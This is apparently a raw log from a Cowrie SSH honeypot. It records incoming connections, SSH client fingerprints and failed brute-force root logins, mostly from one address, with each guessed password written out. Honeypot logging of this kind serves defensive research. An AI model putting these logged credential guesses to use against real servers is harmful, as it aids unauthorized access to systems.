{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:f5:cd:6d:d7:d9:1d:72:f6:f2:62:5a:bb:b6:34:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsCyukvZAu/MmEBuT6AvjVNvUG9b+gKQoOJ+oBX0bf0/530TLepNhDR5zzZ3KTY7QRrTpCHouoBN3McqEsSBGpgbeGAscynjtvHGrKdvYdzYOfB8IBHgYKSEWqGyjOTVn286TUdAqahHUrgdEhao6OS1OCr8UzWySOGZmY+In/9HHDBilDFlroQu0p22tkUhltTWYJ2tXxCVie246rwBd+j7E3loZLT+lgCk456I6QsSYiGBf1opqWLgRMO5blM7K7/gl4tTSMN1cM9MKy1p3a2p9unPM3yBXZDKPSAGOyVCPuUrcFb9/REE4TbLD4+qcdg5DHuz3XU5WqTBYS8Bjt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.724936Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:19.789113Z","src_ip":"23.239.119.194","session":"110dccc23e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:20.696926Z","src_ip":"60.165.124.241","session":"a5741c34710d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44508,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c1b1ede824","protocol":"ssh","message":"New connection: 60.165.124.241:44508 (10.17.0.5:22) [session: 92c1b1ede824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:20.925134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:20.929987Z","src_ip":"60.165.124.241","session":"92c1b1ede824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:21.180310Z","src_ip":"60.165.124.241","session":"92c1b1ede824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@789","message":"login attempt [root/admin@789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:21.936320Z","src_ip":"60.165.124.241","session":"92c1b1ede824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.183170Z","src_ip":"60.165.124.241","session":"92c1b1ede824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47208,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb5e0fccfd5","protocol":"ssh","message":"New connection: 60.165.124.241:47208 (10.17.0.5:22) [session: dbb5e0fccfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.431357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.435231Z","src_ip":"60.165.124.241","session":"dbb5e0fccfd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.680361Z","src_ip":"60.165.124.241","session":"dbb5e0fccfd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33100,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc0566b5ff7a","protocol":"ssh","message":"New connection: 168.167.228.74:33100 (10.17.0.5:22) [session: fc0566b5ff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.811422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:23.819041Z","src_ip":"168.167.228.74","session":"fc0566b5ff7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:24.070428Z","src_ip":"168.167.228.74","session":"fc0566b5ff7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@163.com","message":"login attempt [root/admin@163.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:24.399814Z","src_ip":"60.165.124.241","session":"dbb5e0fccfd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jj123456@","message":"login attempt [root/Jj123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:25.108960Z","src_ip":"168.167.228.74","session":"fc0566b5ff7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:25.649730Z","src_ip":"60.165.124.241","session":"dbb5e0fccfd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50056,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f36a0964ecb","protocol":"ssh","message":"New connection: 60.165.124.241:50056 (10.17.0.5:22) [session: 4f36a0964ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:25.888472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:25.893490Z","src_ip":"60.165.124.241","session":"4f36a0964ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:26.132908Z","src_ip":"60.165.124.241","session":"4f36a0964ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:26.362821Z","src_ip":"168.167.228.74","session":"fc0566b5ff7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd@123!","message":"login attempt [root/asd@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:26.864659Z","src_ip":"60.165.124.241","session":"4f36a0964ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:28.109395Z","src_ip":"60.165.124.241","session":"4f36a0964ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52950,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69e0c5f9b15","protocol":"ssh","message":"New connection: 60.165.124.241:52950 (10.17.0.5:22) [session: c69e0c5f9b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:28.350689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:28.355396Z","src_ip":"60.165.124.241","session":"c69e0c5f9b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:28.593609Z","src_ip":"60.165.124.241","session":"c69e0c5f9b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx@123","message":"login attempt [root/QAZwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:29.319152Z","src_ip":"60.165.124.241","session":"c69e0c5f9b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:30.570729Z","src_ip":"60.165.124.241","session":"c69e0c5f9b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55577,"dst_ip":"10.17.0.5","dst_port":22,"session":"815bde453726","protocol":"ssh","message":"New connection: 60.165.124.241:55577 (10.17.0.5:22) [session: 815bde453726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:30.816760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:30.821519Z","src_ip":"60.165.124.241","session":"815bde453726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:31.061077Z","src_ip":"60.165.124.241","session":"815bde453726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:31.790468Z","src_ip":"60.165.124.241","session":"815bde453726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:33.043816Z","src_ip":"60.165.124.241","session":"815bde453726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58496,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4afb188567","protocol":"ssh","message":"New connection: 60.165.124.241:58496 (10.17.0.5:22) [session: dc4afb188567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:33.292856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:33.297696Z","src_ip":"60.165.124.241","session":"dc4afb188567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:33.536051Z","src_ip":"60.165.124.241","session":"dc4afb188567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"exxact@1","message":"login attempt [root/exxact@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:34.268710Z","src_ip":"60.165.124.241","session":"dc4afb188567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.58.53.36","src_port":49550,"dst_ip":"10.17.0.5","dst_port":23,"session":"076cabb99bb2","protocol":"telnet","message":"New connection: 167.58.53.36:49550 (10.17.0.5:23) [session: 076cabb99bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:35.286595Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:35.511786Z","src_ip":"60.165.124.241","session":"dc4afb188567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32926,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f839153065a","protocol":"ssh","message":"New connection: 60.165.124.241:32926 (10.17.0.5:22) [session: 7f839153065a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:35.752006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:35.760194Z","src_ip":"60.165.124.241","session":"7f839153065a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:36.013010Z","src_ip":"60.165.124.241","session":"7f839153065a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345678.","message":"login attempt [root/A12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:36.743553Z","src_ip":"60.165.124.241","session":"7f839153065a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:37.986698Z","src_ip":"60.165.124.241","session":"7f839153065a","protocol":"ssh"}
